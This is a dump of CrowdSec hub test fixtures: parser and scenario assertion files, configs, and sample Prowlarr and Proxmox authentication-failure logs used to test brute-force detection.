results["s00-raw"]["crowdsecurity/syslog-logs"][2].Evt.Meta["machine"] == "prowlarr" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["timestamp"] == "Oct 10 11:17:54" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["message"] == "[Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test'" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["pid"] == "8213" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Parsed["program"] == "Prowlarr" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Meta["datasource_path"] == "prowlarr-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][3].Evt.Meta["machine"] == "prowlarr" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["program"] == "Prowlarr" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["timestamp"] == "Oct 10 11:17:55" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["message"] == "[Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test'" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Parsed["pid"] == "8213" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Meta["datasource_path"] == "prowlarr-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][4].Evt.Meta["machine"] == "prowlarr" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["message"] == "[Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test'" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["pid"] == "8213" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["program"] == "Prowlarr" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["timestamp"] == "Oct 10 11:17:56" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Meta["machine"] == "prowlarr" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Meta["datasource_path"] == "prowlarr-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][5].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Success == true results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Parsed["pid"] == "8213" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Parsed["program"] == "Prowlarr" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Parsed["timestamp"] == "Oct 10 11:17:57" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Parsed["logsource"] == "syslog" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Parsed["message"] == "[Info] Auth: Auth-Success ip 1.2.3.5 username 'test'" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Meta["datasource_path"] == "prowlarr-logs.log" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/syslog-logs"][6].Evt.Meta["machine"] == "prowlarr" len(results["s01-parse"]["schiz0phr3ne/prowlarr-logs"]) == 7 results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][0].Success == true results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][0].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][0].Evt.Parsed["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][0].Evt.Parsed["username"] == "'test'" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][0].Evt.Parsed["message"] == "[Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test'" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][0].Evt.Parsed["pid"] == "8213" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][0].Evt.Parsed["program"] == "Prowlarr" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][0].Evt.Parsed["timestamp"] == "Oct 10 11:17:51" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][0].Evt.Meta["datasource_path"] == "prowlarr-logs.log" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][0].Evt.Meta["log_type"] == "prowlarr_failed_authentication" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][0].Evt.Meta["machine"] == "prowlarr" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][0].Evt.Meta["service"] == "prowlarr" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][0].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][0].Evt.Meta["username"] == "'test'" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][1].Success == true results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][1].Evt.Parsed["program"] == "Prowlarr" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][1].Evt.Parsed["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][1].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][1].Evt.Parsed["message"] == "[Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test'" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][1].Evt.Parsed["pid"] == "8213" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][1].Evt.Parsed["timestamp"] == "Oct 10 11:17:52" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][1].Evt.Parsed["username"] == "'test'" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][1].Evt.Meta["service"] == "prowlarr" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][1].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][1].Evt.Meta["username"] == "'test'" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][1].Evt.Meta["datasource_path"] == "prowlarr-logs.log" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][1].Evt.Meta["log_type"] == "prowlarr_failed_authentication" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][1].Evt.Meta["machine"] == "prowlarr" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][2].Success == true results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][2].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][2].Evt.Parsed["pid"] == "8213" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][2].Evt.Parsed["timestamp"] == "Oct 10 11:17:53" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][2].Evt.Parsed["message"] == "[Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test'" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][2].Evt.Parsed["program"] == "Prowlarr" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][2].Evt.Parsed["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][2].Evt.Parsed["username"] == "'test'" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][2].Evt.Meta["machine"] == "prowlarr" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][2].Evt.Meta["service"] == "prowlarr" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][2].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][2].Evt.Meta["username"] == "'test'" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][2].Evt.Meta["datasource_path"] == "prowlarr-logs.log" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][2].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][2].Evt.Meta["log_type"] == "prowlarr_failed_authentication" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][3].Success == true results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][3].Evt.Parsed["username"] == "'test'" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][3].Evt.Parsed["pid"] == "8213" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][3].Evt.Parsed["program"] == "Prowlarr" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][3].Evt.Parsed["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][3].Evt.Parsed["timestamp"] == "Oct 10 11:17:54" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][3].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][3].Evt.Parsed["message"] == "[Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test'" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][3].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][3].Evt.Meta["username"] == "'test'" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][3].Evt.Meta["datasource_path"] == "prowlarr-logs.log" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][3].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][3].Evt.Meta["log_type"] == "prowlarr_failed_authentication" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][3].Evt.Meta["machine"] == "prowlarr" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][3].Evt.Meta["service"] == "prowlarr" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][4].Success == true results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][4].Evt.Parsed["pid"] == "8213" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][4].Evt.Parsed["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][4].Evt.Parsed["username"] == "'test'" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][4].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][4].Evt.Parsed["message"] == "[Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test'" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][4].Evt.Parsed["program"] == "Prowlarr" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][4].Evt.Parsed["timestamp"] == "Oct 10 11:17:55" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][4].Evt.Meta["log_type"] == "prowlarr_failed_authentication" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][4].Evt.Meta["machine"] == "prowlarr" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][4].Evt.Meta["service"] == "prowlarr" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][4].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][4].Evt.Meta["username"] == "'test'" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][4].Evt.Meta["datasource_path"] == "prowlarr-logs.log" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][4].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][5].Success == true results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][5].Evt.Parsed["username"] == "'test'" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][5].Evt.Parsed["logsource"] == "syslog" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][5].Evt.Parsed["message"] == "[Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test'" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][5].Evt.Parsed["program"] == "Prowlarr" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][5].Evt.Parsed["timestamp"] == "Oct 10 11:17:56" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][5].Evt.Parsed["pid"] == "8213" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][5].Evt.Parsed["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][5].Evt.Meta["machine"] == "prowlarr" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][5].Evt.Meta["service"] == "prowlarr" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][5].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][5].Evt.Meta["username"] == "'test'" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][5].Evt.Meta["datasource_path"] == "prowlarr-logs.log" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][5].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][5].Evt.Meta["log_type"] == "prowlarr_failed_authentication" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][6].Success == false len(results["success"][""]) == 0 hub1/.tests/prowlarr-logs/prowlarr-logs.log000066400000000000000000000012221437532772500213000ustar00rootroot00000000000000Oct 10 11:17:51 prowlarr Prowlarr[8213]: [Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test' Oct 10 11:17:52 prowlarr Prowlarr[8213]: [Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test' Oct 10 11:17:53 prowlarr Prowlarr[8213]: [Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test' Oct 10 11:17:54 prowlarr Prowlarr[8213]: [Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test' Oct 10 11:17:55 prowlarr Prowlarr[8213]: [Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test' Oct 10 11:17:56 prowlarr Prowlarr[8213]: [Warn] Auth: Auth-Failure ip 1.2.3.4 username 'test' Oct 10 11:17:57 prowlarr Prowlarr[8213]: [Info] Auth: Auth-Success ip 1.2.3.5 username 'test' hub1/.tests/prowlarr-logs/scenario.assert000066400000000000000000000000001437532772500210020ustar00rootroot00000000000000hub1/.tests/prowlarr-nonsyslog-logs/000077500000000000000000000000001437532772500200175ustar00rootroot00000000000000hub1/.tests/prowlarr-nonsyslog-logs/config.yaml000066400000000000000000000004171437532772500221520ustar00rootroot00000000000000parsers: - crowdsecurity/syslog-logs - ./parsers/s01-parse/schiz0phr3ne/prowlarr-logs.yaml - crowdsecurity/dateparse-enrich scenarios: - "" postoverflows: - "" log_file: prowlarr-nonsyslog-logs.log log_type: Prowlarr labels: {} ignore_parsers: false override_statics: [] hub1/.tests/prowlarr-nonsyslog-logs/parser.assert000066400000000000000000000212321437532772500225360ustar00rootroot00000000000000len(results) == 4 len(results["s00-raw"]["crowdsecurity/non-syslog"]) == 2 results["s00-raw"]["crowdsecurity/non-syslog"][0].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["message"] == "2022-12-17 22:04:36.2|Warn|Auth|Auth-Failure ip 1.2.3.4 username 'testing'" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Parsed["program"] == "Prowlarr" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_path"] == "prowlarr-nonsyslog-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][0].Evt.Meta["datasource_type"] == "file" results["s00-raw"]["crowdsecurity/non-syslog"][1].Success == true results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["message"] == "2022-12-17 22:04:41.7|Warn|Auth|Auth-Failure ip 1.2.3.4 username 'testing2'" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Parsed["program"] == "Prowlarr" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_path"] == "prowlarr-nonsyslog-logs.log" results["s00-raw"]["crowdsecurity/non-syslog"][1].Evt.Meta["datasource_type"] == "file" len(results["s00-raw"]["crowdsecurity/syslog-logs"]) == 2 results["s00-raw"]["crowdsecurity/syslog-logs"][0].Success == false results["s00-raw"]["crowdsecurity/syslog-logs"][1].Success == false len(results["s01-parse"]["schiz0phr3ne/prowlarr-logs"]) == 2 results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][0].Success == true results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][0].Evt.Parsed["log_level"] == "Warn" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][0].Evt.Parsed["message"] == "2022-12-17 22:04:36.2|Warn|Auth|Auth-Failure ip 1.2.3.4 username 'testing'" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][0].Evt.Parsed["month"] == "12" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][0].Evt.Parsed["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][0].Evt.Parsed["timestamp"] == "2022-12-17 22:04:36.2" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][0].Evt.Parsed["year"] == "2022" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][0].Evt.Parsed["date"] == "2022-12-17" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][0].Evt.Parsed["day"] == "17" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][0].Evt.Parsed["program"] == "Prowlarr" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][0].Evt.Parsed["time"] == "22:04:36.2" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][0].Evt.Parsed["username"] == "testing" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][0].Evt.Meta["datasource_path"] == "prowlarr-nonsyslog-logs.log" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][0].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][0].Evt.Meta["log_type"] == "prowlarr_failed_authentication" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][0].Evt.Meta["service"] == "prowlarr" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][0].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][0].Evt.Meta["username"] == "testing" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][1].Success == true results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][1].Evt.Parsed["day"] == "17" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][1].Evt.Parsed["message"] == "2022-12-17 22:04:41.7|Warn|Auth|Auth-Failure ip 1.2.3.4 username 'testing2'" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][1].Evt.Parsed["month"] == "12" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][1].Evt.Parsed["time"] == "22:04:41.7" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][1].Evt.Parsed["date"] == "2022-12-17" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][1].Evt.Parsed["log_level"] == "Warn" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][1].Evt.Parsed["program"] == "Prowlarr" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][1].Evt.Parsed["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][1].Evt.Parsed["timestamp"] == "2022-12-17 22:04:41.7" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][1].Evt.Parsed["username"] == "testing2" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][1].Evt.Parsed["year"] == "2022" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][1].Evt.Meta["service"] == "prowlarr" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][1].Evt.Meta["source_ip"] == "1.2.3.4" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][1].Evt.Meta["username"] == "testing2" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][1].Evt.Meta["datasource_path"] == "prowlarr-nonsyslog-logs.log" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][1].Evt.Meta["datasource_type"] == "file" results["s01-parse"]["schiz0phr3ne/prowlarr-logs"][1].Evt.Meta["log_type"] == "prowlarr_failed_authentication" len(results["s02-enrich"]["crowdsecurity/dateparse-enrich"]) == 2 results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["date"] == "2022-12-17" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["time"] == "22:04:36.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["timestamp"] == "2022-12-17 22:04:36.2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["username"] == "testing" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["year"] == "2022" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["day"] == "17" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["log_level"] == "Warn" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["message"] == "2022-12-17 22:04:36.2|Warn|Auth|Auth-Failure ip 1.2.3.4 username 'testing'" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["month"] == "12" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["program"] == "Prowlarr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Parsed["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["service"] == "prowlarr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["timestamp"] == "2022-12-17T22:04:36.2Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["username"] == "testing" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_path"] == "prowlarr-nonsyslog-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Meta["log_type"] == "prowlarr_failed_authentication" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][0].Evt.Enriched["MarshaledTime"] == "2022-12-17T22:04:36.2Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Success == true results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["date"] == "2022-12-17" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["day"] == "17" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["month"] == "12" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["time"] == "22:04:41.7" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["log_level"] == "Warn" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["message"] == "2022-12-17 22:04:41.7|Warn|Auth|Auth-Failure ip 1.2.3.4 username 'testing2'" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["program"] == "Prowlarr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["timestamp"] == "2022-12-17 22:04:41.7" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["username"] == "testing2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Parsed["year"] == "2022" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_path"] == "prowlarr-nonsyslog-logs.log" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["datasource_type"] == "file" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["log_type"] == "prowlarr_failed_authentication" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["service"] == "prowlarr" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["source_ip"] == "1.2.3.4" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["timestamp"] == "2022-12-17T22:04:41.7Z" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Meta["username"] == "testing2" results["s02-enrich"]["crowdsecurity/dateparse-enrich"][1].Evt.Enriched["MarshaledTime"] == "2022-12-17T22:04:41.7Z" len(results["success"][""]) == 0 hub1/.tests/prowlarr-nonsyslog-logs/prowlarr-nonsyslog-logs.log000066400000000000000000000002261437532772500253650ustar00rootroot000000000000002022-12-17 22:04:36.2|Warn|Auth|Auth-Failure ip 1.2.3.4 username 'testing' 2022-12-17 22:04:41.7|Warn|Auth|Auth-Failure ip 1.2.3.4 username 'testing2'hub1/.tests/prowlarr-nonsyslog-logs/scenario.assert000066400000000000000000000000001437532772500230330ustar00rootroot00000000000000hub1/.tests/proxmox-bf/000077500000000000000000000000001437532772500152555ustar00rootroot00000000000000hub1/.tests/proxmox-bf/config.yaml000066400000000000000000000004111437532772500174020ustar00rootroot00000000000000parsers: - ./parsers/s01-parse/fulljackz/proxmox-logs.yaml - crowdsecurity/syslog-logs - crowdsecurity/dateparse-enrich scenarios: - ./scenarios/fulljackz/proxmox-bf.yaml postoverflows: - "" log_file: proxmox-bf.log log_type: syslog labels: {} ignore_parsers: true hub1/.tests/proxmox-bf/proxmox-bf.log000066400000000000000000000061631437532772500200670ustar00rootroot00000000000000Jan 4 17:34:01 hypervisor pvedaemon[3663339]: authentication failure; rhost=::ffff:172.21.10.2 user=toor@pam msg=no such user ('toor@pam') Jan 4 17:34:02 hypervisor pvedaemon[3483744]: authentication failure; rhost=::ffff:172.21.10.2 user=root@pam msg=Authentication failure Jan 4 17:34:01 hypervisor pvedaemon[3663339]: authentication failure; rhost=::ffff:172.21.10.2 user=toor@pam msg=no such user ('toor@pam') Jan 4 17:34:02 hypervisor pvedaemon[3483744]: authentication failure; rhost=::ffff:172.21.10.2 user=root@pam msg=Authentication failure Jan 4 17:34:01 hypervisor pvedaemon[3663339]: authentication failure; rhost=::ffff:172.21.10.2 user=toor@pam msg=no such user ('toor@pam') Jan 4 17:34:02 hypervisor pvedaemon[3483744]: authentication failure; rhost=::ffff:172.21.10.2 user=root@pam msg=Authentication failure Jan 4 17:34:01 hypervisor pvedaemon[3663339]: authentication failure; rhost=::ffff:172.21.10.2 user=toor@pam msg=no such user ('toor@pam') Jan 4 17:34:02 hypervisor pvedaemon[3483744]: authentication failure; rhost=::ffff:172.21.10.2 user=root@pam msg=Authentication failure Jan 4 17:34:01 hypervisor pvedaemon[3663339]: authentication failure; rhost=::ffff:172.21.10.2 user=toor@pam msg=no such user ('toor@pam') Jan 4 17:34:02 hypervisor pvedaemon[3483744]: authentication failure; rhost=::ffff:172.21.10.2 user=root@pam msg=Authentication failure Jan 4 17:34:01 hypervisor pvedaemon[3663339]: authentication failure; rhost=::ffff:172.21.10.2 user=toor@pam msg=no such user ('toor@pam') Jan 4 17:34:02 hypervisor pvedaemon[3483744]: authentication failure; rhost=::ffff:172.21.10.2 user=root@pam msg=Authentication failure Jan 4 17:34:01 hypervisor pvedaemon[3663339]: authentication failure; rhost=::ffff:172.21.10.2 user=toor@pam msg=no such user ('toor@pam') Jan 4 17:34:02 hypervisor pvedaemon[3483744]: authentication failure; rhost=::ffff:172.21.10.2 user=root@pam msg=Authentication failure Jan 4 17:34:03 hypervisor pvedaemon[2891825]: successful auth for user 'root@pam' Jan 4 17:34:03 hypervisor pvedaemon[2891825]: successful auth for user 'root@pam' Jan 10 17:34:02 hypervsior pvedaemon[3483744]: authentication failure; rhost=2001:abcd:1234:abcd::1 user=a@pam msg=no such user ('a@pam') Jan 10 17:34:03 hypervisor pvedaemon[3483744]: authentication failure; rhost=2001:abcd:1234:abcd::1 user=b@pam msg=no such user ('b@pam') Jan 10 17:34:03 hypervisor pvedaemon[3483744]: authentication failure; rhost=2001:abcd:1234:abcd::1 user=c@pam msg=no such user ('c@pam') Jan 10 17:34:03 hypervisor pvedaemon[3483744]: authentication failure; rhost=2001:abcd:1234:abcd::1 user=d@pam msg=no such user ('d@pam') Jan 10 17:34:03 hypervisor pvedaemon[3483744]: authentication failure; rhost=2001:abcd:1234:abcd::1 user=e@pam msg=no such user ('e@pam') Jan 10 17:34:03 hypervisor pvedaemon[3483744]: authentication failure; rhost=2001:abcd:1234:abcd::1 user=f@pam msg=no such user ('f@pam') Jan 10 17:34:03 hypervisor pvedaemon[3483744]: authentication failure; rhost=2001:abcd:1234:abcd::1 user=g@pam msg=no such user ('g@pam') Jan 4 17:34:03 hypervisor pvedaemon[2891825]: successful auth for user 'root@pam' hub1/.tests/proxmox-bf/scenario.assert000066400000000000000000000304101437532772500203010ustar00rootroot00000000000000len(results) == 3 "::ffff:172.21.10.2" in results[0].Overflow.GetSources() results[0].Overflow.Sources["::ffff:172.21.10.2"].IP == "::ffff:172.21.10.2" results[0].Overflow.Sources["::ffff:172.21.10.2"].Range == "" 